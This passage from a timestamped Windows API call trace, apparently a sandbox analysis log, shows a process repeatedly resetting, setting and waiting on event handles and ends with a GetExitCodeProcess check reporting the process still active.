ResetEvent (hEvent=0xe0) returned 1 [0093.474] SetEvent (hEvent=0xdc) returned 1 [0093.474] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.475] ResetEvent (hEvent=0xe0) returned 1 [0093.475] SetEvent (hEvent=0xdc) returned 1 [0093.475] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.476] ResetEvent (hEvent=0xe0) returned 1 [0093.476] SetEvent (hEvent=0xdc) returned 1 [0093.476] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.477] ResetEvent (hEvent=0xe0) returned 1 [0093.477] SetEvent (hEvent=0xdc) returned 1 [0093.477] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.478] ResetEvent (hEvent=0xe0) returned 1 [0093.478] SetEvent (hEvent=0xdc) returned 1 [0093.478] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.479] ResetEvent (hEvent=0xe0) returned 1 [0093.479] SetEvent (hEvent=0xdc) returned 1 [0093.479] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.480] ResetEvent (hEvent=0xe0) returned 1 [0093.480] SetEvent (hEvent=0xdc) returned 1 [0093.480] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.481] ResetEvent (hEvent=0xe0) returned 1 [0093.481] SetEvent (hEvent=0xdc) returned 1 [0093.481] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.482] ResetEvent (hEvent=0xe0) returned 1 [0093.482] SetEvent (hEvent=0xdc) returned 1 [0093.482] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.483] ResetEvent (hEvent=0xe0) returned 1 [0093.483] SetEvent (hEvent=0xdc) returned 1 [0093.483] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.484] ResetEvent (hEvent=0xe0) returned 1 [0093.484] SetEvent (hEvent=0xdc) returned 1 [0093.484] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.485] ResetEvent (hEvent=0xe0) returned 1 [0093.485] SetEvent (hEvent=0xdc) returned 1 [0093.485] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.486] ResetEvent (hEvent=0xe0) returned 1 [0093.486] SetEvent (hEvent=0xdc) returned 1 [0093.486] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.487] ResetEvent (hEvent=0xe0) returned 1 [0093.487] SetEvent (hEvent=0xdc) returned 1 [0093.487] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.488] ResetEvent (hEvent=0xe0) returned 1 [0093.488] SetEvent (hEvent=0xdc) returned 1 [0093.489] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.489] ResetEvent (hEvent=0xe0) returned 1 [0093.489] SetEvent (hEvent=0xdc) returned 1 [0093.490] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.490] ResetEvent (hEvent=0xe0) returned 1 [0093.491] SetEvent (hEvent=0xdc) returned 1 [0093.491] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.491] ResetEvent (hEvent=0xe0) returned 1 [0093.492] SetEvent (hEvent=0xdc) returned 1 [0093.492] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.493] ResetEvent (hEvent=0xe0) returned 1 [0093.493] SetEvent (hEvent=0xdc) returned 1 [0093.493] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.494] ResetEvent (hEvent=0xe0) returned 1 [0093.494] SetEvent (hEvent=0xdc) returned 1 [0093.494] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.495] ResetEvent (hEvent=0xe0) returned 1 [0093.495] SetEvent (hEvent=0xdc) returned 1 [0093.495] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.496] ResetEvent (hEvent=0xe0) returned 1 [0093.496] SetEvent (hEvent=0xdc) returned 1 [0093.496] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.497] ResetEvent (hEvent=0xe0) returned 1 [0093.497] SetEvent (hEvent=0xdc) returned 1 [0093.497] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.498] ResetEvent (hEvent=0xe0) returned 1 [0093.498] SetEvent (hEvent=0xdc) returned 1 [0093.498] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.499] ResetEvent (hEvent=0xe0) returned 1 [0093.499] SetEvent (hEvent=0xdc) returned 1 [0093.499] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.500] ResetEvent (hEvent=0xe0) returned 1 [0093.500] SetEvent (hEvent=0xdc) returned 1 [0093.500] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.501] ResetEvent (hEvent=0xe0) returned 1 [0093.501] SetEvent (hEvent=0xdc) returned 1 [0093.501] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.502] ResetEvent (hEvent=0xe0) returned 1 [0093.502] SetEvent (hEvent=0xdc) returned 1 [0093.502] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.503] ResetEvent (hEvent=0xe0) returned 1 [0093.503] SetEvent (hEvent=0xdc) returned 1 [0093.503] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.504] ResetEvent (hEvent=0xe0) returned 1 [0093.504] SetEvent (hEvent=0xdc) returned 1 [0093.504] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.505] ResetEvent (hEvent=0xe0) returned 1 [0093.505] SetEvent (hEvent=0xdc) returned 1 [0093.505] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.506] ResetEvent (hEvent=0xe0) returned 1 [0093.506] SetEvent (hEvent=0xdc) returned 1 [0093.506] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.507] ResetEvent (hEvent=0xe0) returned 1 [0093.507] SetEvent (hEvent=0xdc) returned 1 [0093.507] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.508] ResetEvent (hEvent=0xe0) returned 1 [0093.508] SetEvent (hEvent=0xdc) returned 1 [0093.508] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.509] ResetEvent (hEvent=0xe0) returned 1 [0093.509] SetEvent (hEvent=0xdc) returned 1 [0093.509] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.510] ResetEvent (hEvent=0xe0) returned 1 [0093.510] SetEvent (hEvent=0xdc) returned 1 [0093.510] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.511] ResetEvent (hEvent=0xe0) returned 1 [0093.511] SetEvent (hEvent=0xdc) returned 1 [0093.511] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.512] ResetEvent (hEvent=0xe0) returned 1 [0093.512] SetEvent (hEvent=0xdc) returned 1 [0093.512] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.514] ResetEvent (hEvent=0xe0) returned 1 [0093.514] SetEvent (hEvent=0xdc) returned 1 [0093.514] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.515] ResetEvent (hEvent=0xe0) returned 1 [0093.515] SetEvent (hEvent=0xdc) returned 1 [0093.515] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.516] ResetEvent (hEvent=0xe0) returned 1 [0093.516] SetEvent (hEvent=0xdc) returned 1 [0093.516] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.517] ResetEvent (hEvent=0xe0) returned 1 [0093.517] SetEvent (hEvent=0xdc) returned 1 [0093.517] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.518] ResetEvent (hEvent=0xe0) returned 1 [0093.518] SetEvent (hEvent=0xdc) returned 1 [0093.518] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.519] ResetEvent (hEvent=0xe0) returned 1 [0093.519] SetEvent (hEvent=0xdc) returned 1 [0093.519] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.520] ResetEvent (hEvent=0xe0) returned 1 [0093.520] SetEvent (hEvent=0xdc) returned 1 [0093.520] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.521] ResetEvent (hEvent=0xe0) returned 1 [0093.521] SetEvent (hEvent=0xdc) returned 1 [0093.521] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.522] ResetEvent (hEvent=0xe0) returned 1 [0093.522] SetEvent (hEvent=0xdc) returned 1 [0093.522] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.523] ResetEvent (hEvent=0xe0) returned 1 [0093.523] SetEvent (hEvent=0xdc) returned 1 [0093.523] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.524] ResetEvent (hEvent=0xe0) returned 1 [0093.524] SetEvent (hEvent=0xdc) returned 1 [0093.524] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.525] ResetEvent (hEvent=0xe0) returned 1 [0093.525] SetEvent (hEvent=0xdc) returned 1 [0093.525] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.526] ResetEvent (hEvent=0xe0) returned 1 [0093.526] SetEvent (hEvent=0xdc) returned 1 [0093.526] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.527] ResetEvent (hEvent=0xe0) returned 1 [0093.527] SetEvent (hEvent=0xdc) returned 1 [0093.527] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.528] ResetEvent (hEvent=0xe0) returned 1 [0093.528] SetEvent (hEvent=0xdc) returned 1 [0093.528] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.529] ResetEvent (hEvent=0xe0) returned 1 [0093.529] SetEvent (hEvent=0xdc) returned 1 [0093.529] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.530] ResetEvent (hEvent=0xe0) returned 1 [0093.530] SetEvent (hEvent=0xdc) returned 1 [0093.530] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.531] ResetEvent (hEvent=0xe0) returned 1 [0093.531] SetEvent (hEvent=0xdc) returned 1 [0093.531] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.532] ResetEvent (hEvent=0xe0) returned 1 [0093.532] SetEvent (hEvent=0xdc) returned 1 [0093.532] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.533] ResetEvent (hEvent=0xe0) returned 1 [0093.533] SetEvent (hEvent=0xdc) returned 1 [0093.534] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.534] ResetEvent (hEvent=0xe0) returned 1 [0093.534] SetEvent (hEvent=0xdc) returned 1 [0093.535] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.535] ResetEvent (hEvent=0xe0) returned 1 [0093.536] SetEvent (hEvent=0xdc) returned 1 [0093.536] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.536] ResetEvent (hEvent=0xe0) returned 1 [0093.537] SetEvent (hEvent=0xdc) returned 1 [0093.537] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.538] ResetEvent (hEvent=0xe0) returned 1 [0093.538] SetEvent (hEvent=0xdc) returned 1 [0093.538] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.539] ResetEvent (hEvent=0xe0) returned 1 [0093.539] SetEvent (hEvent=0xdc) returned 1 [0093.539] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.540] ResetEvent (hEvent=0xe0) returned 1 [0093.540] SetEvent (hEvent=0xdc) returned 1 [0093.540] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.541] ResetEvent (hEvent=0xe0) returned 1 [0093.541] SetEvent (hEvent=0xdc) returned 1 [0093.541] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.542] ResetEvent (hEvent=0xe0) returned 1 [0093.542] SetEvent (hEvent=0xdc) returned 1 [0093.542] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.543] ResetEvent (hEvent=0xe0) returned 1 [0093.543] SetEvent (hEvent=0xdc) returned 1 [0093.543] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.544] ResetEvent (hEvent=0xe0) returned 1 [0093.544] SetEvent (hEvent=0xdc) returned 1 [0093.544] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.545] ResetEvent (hEvent=0xe0) returned 1 [0093.545] SetEvent (hEvent=0xdc) returned 1 [0093.545] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.546] ResetEvent (hEvent=0xe0) returned 1 [0093.546] SetEvent (hEvent=0xdc) returned 1 [0093.546] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.547] ResetEvent (hEvent=0xe0) returned 1 [0093.547] SetEvent (hEvent=0xdc) returned 1 [0093.547] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.548] ResetEvent (hEvent=0xe0) returned 1 [0093.548] SetEvent (hEvent=0xdc) returned 1 [0093.548] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.549] ResetEvent (hEvent=0xe0) returned 1 [0093.549] SetEvent (hEvent=0xdc) returned 1 [0093.549] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.550] ResetEvent (hEvent=0xe0) returned 1 [0093.550] SetEvent (hEvent=0xdc) returned 1 [0093.550] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.551] ResetEvent (hEvent=0xe0) returned 1 [0093.551] SetEvent (hEvent=0xdc) returned 1 [0093.551] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.552] ResetEvent (hEvent=0xe0) returned 1 [0093.552] SetEvent (hEvent=0xdc) returned 1 [0093.552] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.553] ResetEvent (hEvent=0xe0) returned 1 [0093.553] SetEvent (hEvent=0xdc) returned 1 [0093.553] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.554] ResetEvent (hEvent=0xe0) returned 1 [0093.554] SetEvent (hEvent=0xdc) returned 1 [0093.554] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.555] ResetEvent (hEvent=0xe0) returned 1 [0093.555] SetEvent (hEvent=0xdc) returned 1 [0093.555] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.556] ResetEvent (hEvent=0xe0) returned 1 [0093.556] SetEvent (hEvent=0xdc) returned 1 [0093.556] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.557] ResetEvent (hEvent=0xe0) returned 1 [0093.557] SetEvent (hEvent=0xdc) returned 1 [0093.557] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.558] ResetEvent (hEvent=0xe0) returned 1 [0093.558] SetEvent (hEvent=0xdc) returned 1 [0093.558] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.560] ResetEvent (hEvent=0xe0) returned 1 [0093.560] SetEvent (hEvent=0xdc) returned 1 [0093.560] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.561] ResetEvent (hEvent=0xe0) returned 1 [0093.561] SetEvent (hEvent=0xdc) returned 1 [0093.561] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.562] ResetEvent (hEvent=0xe0) returned 1 [0093.562] SetEvent (hEvent=0xdc) returned 1 [0093.562] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.563] ResetEvent (hEvent=0xe0) returned 1 [0093.563] SetEvent (hEvent=0xdc) returned 1 [0093.563] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.564] ResetEvent (hEvent=0xe0) returned 1 [0093.564] SetEvent (hEvent=0xdc) returned 1 [0093.564] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.565] ResetEvent (hEvent=0xe0) returned 1 [0093.565] SetEvent (hEvent=0xdc) returned 1 [0093.565] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.566] ResetEvent (hEvent=0xe0) returned 1 [0093.566] SetEvent (hEvent=0xdc) returned 1 [0093.566] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.567] ResetEvent (hEvent=0xe0) returned 1 [0093.567] SetEvent (hEvent=0xdc) returned 1 [0093.567] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.568] ResetEvent (hEvent=0xe0) returned 1 [0093.568] SetEvent (hEvent=0xdc) returned 1 [0093.568] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.569] ResetEvent (hEvent=0xe0) returned 1 [0093.569] SetEvent (hEvent=0xdc) returned 1 [0093.569] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.570] ResetEvent (hEvent=0xe0) returned 1 [0093.570] SetEvent (hEvent=0xdc) returned 1 [0093.570] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.571] ResetEvent (hEvent=0xe0) returned 1 [0093.571] SetEvent (hEvent=0xdc) returned 1 [0093.571] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.572] ResetEvent (hEvent=0xe0) returned 1 [0093.572] SetEvent (hEvent=0xdc) returned 1 [0093.572] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.574] ResetEvent (hEvent=0xe0) returned 1 [0093.574] SetEvent (hEvent=0xdc) returned 1 [0093.574] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.575] ResetEvent (hEvent=0xe0) returned 1 [0093.575] SetEvent (hEvent=0xdc) returned 1 [0093.575] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.576] ResetEvent (hEvent=0xe0) returned 1 [0093.576] SetEvent (hEvent=0xdc) returned 1 [0093.576] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.577] ResetEvent (hEvent=0xe0) returned 1 [0093.577] SetEvent (hEvent=0xdc) returned 1 [0093.577] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.578] ResetEvent (hEvent=0xe0) returned 1 [0093.578] SetEvent (hEvent=0xdc) returned 1 [0093.578] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.579] ResetEvent (hEvent=0xe0) returned 1 [0093.579] SetEvent (hEvent=0xdc) returned 1 [0093.579] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.580] ResetEvent (hEvent=0xe0) returned 1 [0093.580] SetEvent (hEvent=0xdc) returned 1 [0093.580] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.581] ResetEvent (hEvent=0xe0) returned 1 [0093.581] SetEvent (hEvent=0xdc) returned 1 [0093.581] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.582] ResetEvent (hEvent=0xe0) returned 1 [0093.582] SetEvent (hEvent=0xdc) returned 1 [0093.582] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.583] ResetEvent (hEvent=0xe0) returned 1 [0093.583] SetEvent (hEvent=0xdc) returned 1 [0093.583] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.584] ResetEvent (hEvent=0xe0) returned 1 [0093.584] SetEvent (hEvent=0xdc) returned 1 [0093.585] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.586] ResetEvent (hEvent=0xe0) returned 1 [0093.586] SetEvent (hEvent=0xdc) returned 1 [0093.586] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.587] ResetEvent (hEvent=0xe0) returned 1 [0093.587] SetEvent (hEvent=0xdc) returned 1 [0093.587] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.588] ResetEvent (hEvent=0xe0) returned 1 [0093.588] SetEvent (hEvent=0xdc) returned 1 [0093.588] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.589] ResetEvent (hEvent=0xe0) returned 1 [0093.589] SetEvent (hEvent=0xdc) returned 1 [0093.589] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.590] ResetEvent (hEvent=0xe0) returned 1 [0093.590] SetEvent (hEvent=0xdc) returned 1 [0093.590] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.591] ResetEvent (hEvent=0xe0) returned 1 [0093.591] SetEvent (hEvent=0xdc) returned 1 [0093.591] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.592] ResetEvent (hEvent=0xe0) returned 1 [0093.592] SetEvent (hEvent=0xdc) returned 1 [0093.592] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.593] ResetEvent (hEvent=0xe0) returned 1 [0093.593] SetEvent (hEvent=0xdc) returned 1 [0093.593] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.594] ResetEvent (hEvent=0xe0) returned 1 [0093.594] SetEvent (hEvent=0xdc) returned 1 [0093.594] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.595] ResetEvent (hEvent=0xe0) returned 1 [0093.595] SetEvent (hEvent=0xdc) returned 1 [0093.595] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.596] ResetEvent (hEvent=0xe0) returned 1 [0093.596] SetEvent (hEvent=0xdc) returned 1 [0093.596] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.597] ResetEvent (hEvent=0xe0) returned 1 [0093.597] SetEvent (hEvent=0xdc) returned 1 [0093.597] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.598] ResetEvent (hEvent=0xe0) returned 1 [0093.598] SetEvent (hEvent=0xdc) returned 1 [0093.598] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.599] ResetEvent (hEvent=0xe0) returned 1 [0093.599] SetEvent (hEvent=0xdc) returned 1 [0093.599] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.600] ResetEvent (hEvent=0xe0) returned 1 [0093.600] SetEvent (hEvent=0xdc) returned 1 [0093.600] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.601] ResetEvent (hEvent=0xe0) returned 1 [0093.601] SetEvent (hEvent=0xdc) returned 1 [0093.601] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.602] ResetEvent (hEvent=0xe0) returned 1 [0093.602] SetEvent (hEvent=0xdc) returned 1 [0093.602] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.603] ResetEvent (hEvent=0xe0) returned 1 [0093.603] SetEvent (hEvent=0xdc) returned 1 [0093.603] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.604] ResetEvent (hEvent=0xe0) returned 1 [0093.604] SetEvent (hEvent=0xdc) returned 1 [0093.604] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.605] ResetEvent (hEvent=0xe0) returned 1 [0093.605] SetEvent (hEvent=0xdc) returned 1 [0093.605] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.606] ResetEvent (hEvent=0xe0) returned 1 [0093.606] SetEvent (hEvent=0xdc) returned 1 [0093.606] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.607] ResetEvent (hEvent=0xe0) returned 1 [0093.607] SetEvent (hEvent=0xdc) returned 1 [0093.607] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.608] ResetEvent (hEvent=0xe0) returned 1 [0093.608] SetEvent (hEvent=0xdc) returned 1 [0093.608] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.609] ResetEvent (hEvent=0xe0) returned 1 [0093.609] SetEvent (hEvent=0xdc) returned 1 [0093.609] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.610] ResetEvent (hEvent=0xe0) returned 1 [0093.610] SetEvent (hEvent=0xdc) returned 1 [0093.610] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.611] ResetEvent (hEvent=0xe0) returned 1 [0093.611] SetEvent (hEvent=0xdc) returned 1 [0093.611] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.612] ResetEvent (hEvent=0xe0) returned 1 [0093.612] SetEvent (hEvent=0xdc) returned 1 [0093.612] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.613] ResetEvent (hEvent=0xe0) returned 1 [0093.613] SetEvent (hEvent=0xdc) returned 1 [0093.613] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.614] ResetEvent (hEvent=0xe0) returned 1 [0093.614] SetEvent (hEvent=0xdc) returned 1 [0093.614] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.615] ResetEvent (hEvent=0xe0) returned 1 [0093.615] SetEvent (hEvent=0xdc) returned 1 [0093.615] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.617] ResetEvent (hEvent=0xe0) returned 1 [0093.617] SetEvent (hEvent=0xdc) returned 1 [0093.617] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.618] ResetEvent (hEvent=0xe0) returned 1 [0093.618] SetEvent (hEvent=0xdc) returned 1 [0093.618] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.619] ResetEvent (hEvent=0xe0) returned 1 [0093.619] SetEvent (hEvent=0xdc) returned 1 [0093.619] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.620] ResetEvent (hEvent=0xe0) returned 1 [0093.620] SetEvent (hEvent=0xdc) returned 1 [0093.620] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.621] ResetEvent (hEvent=0xe0) returned 1 [0093.621] SetEvent (hEvent=0xdc) returned 1 [0093.621] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.622] ResetEvent (hEvent=0xe0) returned 1 [0093.622] SetEvent (hEvent=0xdc) returned 1 [0093.622] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.623] ResetEvent (hEvent=0xe0) returned 1 [0093.623] SetEvent (hEvent=0xdc) returned 1 [0093.623] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.624] ResetEvent (hEvent=0xe0) returned 1 [0093.624] SetEvent (hEvent=0xdc) returned 1 [0093.624] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.625] ResetEvent (hEvent=0xe0) returned 1 [0093.625] SetEvent (hEvent=0xdc) returned 1 [0093.625] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.717] GetExitCodeProcess (in: hProcess=0x15c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 